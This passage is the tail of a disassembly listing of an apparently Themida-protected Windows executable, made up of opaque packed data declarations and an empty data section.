		dd 66F87FBFh, 5ACDDE81h, 2D0CB966h, 850FFE8Bh, 4, 5D32B866h
		dd 6840F60h, 81000000h,	154CB4E3h, 2DF7802Dh, 0D0816661h
		dd 0E960F42Fh, 0Bh, 9074F952h, 0D2635E5Fh, 8B080C02h, 816661F9h
		dd 0E8CBC0C9h, 0Ah, 2575E63Ch, 13E51BF3h, 0DE84B20h, 7E000000h
		dd 0B8F40002h, 3DBA858Fh, 0F024283Bh, 8E9h, 195C1200h
		dd 5119DE37h, 0F5F5F70h, 0CF81D0B7h, 22134994h,	0E870F480h
		dd 0Fh,	9AD28B65h, 0ACD2BDD1h, 0D5AAACFEh, 0BA326D16h
		dd 238F38D4h, 131FBB5Bh, 0BB6618C4h, 12E9C341h,	0AC000000h
		dd 0D7FD4533h, 237AB0A4h, 0B02ED8F1h, 363CF504h, 0F28B66F1h
		dd 70D3B866h, 66C28B66h, 8F0FD88Bh, 0
		dd 8B66F38Bh, 5AC381D9h, 0E96ADDCFh, 10h, 0A3FEAD1Bh, 8FF5E9CBh
		dd 50AF8978h, 1C1D0938h, 10E9h,	8347DA00h, 6021BA51h, 673366B0h
		dd 0F319E057h, 95B8B84Fh, 0E9562F51h, 9, 3CFBC3C2h, 5694835Ch
		dd 81575875h, 0D369B7E0h, 0D68B5B05h, 9FF18166h, 14E9EEh
		dd 0B9780000h, 0C783FDD9h, 8E18AB40h, 0FDB1F5Bh, 4EF2E51h
		dd 0B35680CAh, 8E95BBFh, 29000000h, 0F1356D2Bh,	662CA65Ah
		dd 0BEDC53BEh, 253B70B5h, 0CF1C62BAh, 10E9F547h, 0DE000000h
		dd 7D2A0D75h, 7094B5C4h, 5CEB2E3h, 8B3BC382h, 0DE8CFh
		dd 0EABC0000h, 281D3D3Ch, 6A6D1EC6h, 0E9CB23B4h, 7, 0CD20453Ch
		dd 5ADEC2F1h, 0D1B70FFCh, 7E8h,	0E29EB700h, 0EC583849h
		dd 0EE8h, 0F2CBB600h, 250990EEh, 0B655251Fh, 80B907AFh
		dd 5E5929EDh, 1651ADBBh, 8B51535Dh, 515B5FD7h, 7E9h, 79F64E00h
		dd 3E140D67h, 0BB9BBB59h, 81661E74h, 0E8F75CE9h, 5, 6DC4F5FCh
		dd 0B0EF80A8h, 0E8605359h, 0Fh,	0B91CDA6Eh, 0FA1377B5h
		dd 0CBCFCF13h, 5EAE1265h, 61C0B70Fh, 0D0816658h, 816047B5h
		dd 2A71B4D8h, 0CE8B615Ah, 2428BB66h, 11E9CB8Bh,	0C4000000h
		dd 18CCCF7Ah, 0F5E252F9h, 215937CAh, 958C3345h,	8EFCC1B9h
		dd 0EE830h, 24F70000h, 7B6EDDE1h, 0F55301CBh, 4947C031h
		dd 47F2B966h, 66C68B5Fh, 0F8BDE6B9h, 0EE9h, 41E3D500h
		dd 5774965Ch, 0F8A49F87h, 0E8AB8536h, 5, 5928F6EFh, 0C181668Ch
		dd 66581A34h, 1180CB81h, 0D0A6F781h, 0E96021A4h, 0Dh, 0B6243649h
		dd 0F89CCA58h, 8BB4727Eh, 0F61F8E3h, 385h, 0CBB70F00h
		dd 6E960h, 0DBCA0000h, 167B6B88h, 7FA7C881h, 8B615BEFh
		dd 0D1B70FD9h, 13870Fh,	820F0000h, 0Dh,	8E9h, 0B0889A00h
		dd 0D7CC9CDEh, 0BE97Dh,	8FE60000h, 0D32AC3E3h, 5D8C5BE5h
		dd 9BBE669Ah, 0DE95282h, 9F000000h, 47170C9Fh, 0B708D0F6h
		dd 0C9F86DD4h, 0F7816659h, 0B70FE298h, 8E9F5F7h, 9A000000h
		dd 64B79848h, 0F9E4ADB9h, 0E9D9B70Fh, 11h, 8241D136h, 0CE6814A7h
		dd 2814E7C3h, 4E091B57h, 11E9A3h, 78CA0000h, 0C05FB2BAh
		dd 0E78AC2A5h, 0B24655B5h, 60E33EF3h, 6E9h, 6EDA5000h
		dd 61299A3Ah, 0B1F2E2BAh, 0E947B553h, 8, 0E8754B7Eh, 1F782518h
		dd 81B7C680h, 0E5F144E6h, 66D4B36Fh, 0FAFFABEh,	84h, 0D7B70F00h
		dd 10E9h, 0D9D1FE00h, 8A46F25h,	607E76DBh, 0E6D7EF37h
		dd 8182B3EEh, 0D3518DD0h, 0B70F505Eh, 66FC5ACAh, 0CA80D18Bh
		dd 10E8F5E6h, 30000000h, 6CE54A29h, 0B0B8BF50h,	35824FAEh
		dd 5F6965B0h, 60C0B70Fh, 11E9h,	87443900h, 0F47EA222h
		dd 4F4DC90Eh, 504BDB2Bh, 8D0FC784h, 1, 840F61FCh, 19h
		dd 138A0Fh, 0EE90000h, 0B1000000h, 93AC74Dh, 0F10E4C8Fh
		dd 0A853FEDDh, 0B359537Eh, 7BC18172h, 0E96D0B8Eh, 0Ah
		dd 81F75CF0h, 3F7DA711h, 0FD8ADBB1h, 0C8CB8166h, 0D38B66CEh
		dd 0A75734BEh, 0D08B6646h, 0B70FCC8Ah, 4BB866C6h, 18A0FA4h
		dd 0F5000000h, 0BE8F9h,	0DFB90000h, 55BE4C9Fh, 0C0392031h
		dd 5935B27Fh, 8BC18B66h, 0EE950F7h, 0F000000h, 0A1959FFh
		dd 4267785Dh, 92F7D776h, 3DBE5B47h, 0E93FDBA6h,	0Bh, 7B3E3B3Bh
		dd 5E97867Bh, 66396EABh, 38C2F681h, 0F56C38Bh, 68Dh, 8F0F00h
		dd 5A000000h, 0F9EDF80h, 0B87h,	6E900h,	39F90000h, 0E7143FFh
		dd 6E9h, 0B337D400h, 8B697B34h,	6E9C8h,	76700000h, 699ECC35h
		dd 6088F080h, 0CE9h, 3C1BBC00h,	2DD0C1FCh, 0DD8F00A3h
		dd 0D78157BCh, 4BD8B11Ah, 0BF0F615Bh, 0BE860FEh, 2000000h
		dd 74F88278h, 72F8F081h, 5CBB447Eh, 5F2DEA82h, 6661F98Bh
		dd 95D3E181h, 5BCD181h,	0EC80398Bh, 0B9CA8A68h,	237F9954h
		dd 0B3EF8056h, 7890F59h, 0F000000h, 18Eh, 5257F500h, 6A11CB81h
		dd 5A5F7BACh, 0C553BB66h, 3461DB81h, 0DB8118BCh, 2CEE827Eh
		dd 0C243E6B8h, 0ECE48019h, 0FB6CE981h, 8E9285Fh, 3E000000h
		dd 12BB20E3h, 666FCC54h, 0A904EE81h, 0FC38B66h,	0F80h
		dd 7E800h, 85930000h, 8E15ECE6h, 5AC88A4Eh, 66D8B70Fh
		dd 819B58B8h, 0B282B0DFh, 0EE91Dh, 57D60000h, 3B1CFC89h
		dd 475D5329h, 2DAF3C5Ch, 14E8h,	0B1382800h, 728ADFFEh
		dd 92B23FE8h, 92685834h, 0E5334C02h, 0F0BE66FBh, 14E9583Bh
		dd 0B3000000h, 0A63F3CCCh, 407E56FFh, 0EEACA2F8h, 8C46B76Ah
		dd 0FC7BB25Eh, 9F4B966h, 78C0Fh, 66500000h, 0DFFEE381h
		dd 11B9F55Ah, 814093AAh, 0B8EE54F7h, 5E861h, 0D4580000h
		dd 0E95AC48Ch, 0Eh, 20AB48C3h, 9A314FB3h, 0ECA0BC7Eh, 3B5B704Fh
		dd 3E6h	dup(3B74BBAFh),	0A2E234AFh, 21Fh dup(0A2E23410h)
		dd 16h dup(11D122E4h), 0B16822E4h, 0FCh	dup(0B168255Bh)
		dd 4BA5255Bh, 19Ah dup(4BA541D8h), 0CCCCCCD8h, 0B4Ah dup(0CCCCCCCCh)
		dd 0CCCCCCh, 28Ah dup(0)
Themida_	ends

; Section 5. (virtual address 001BE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001BE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5BE000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start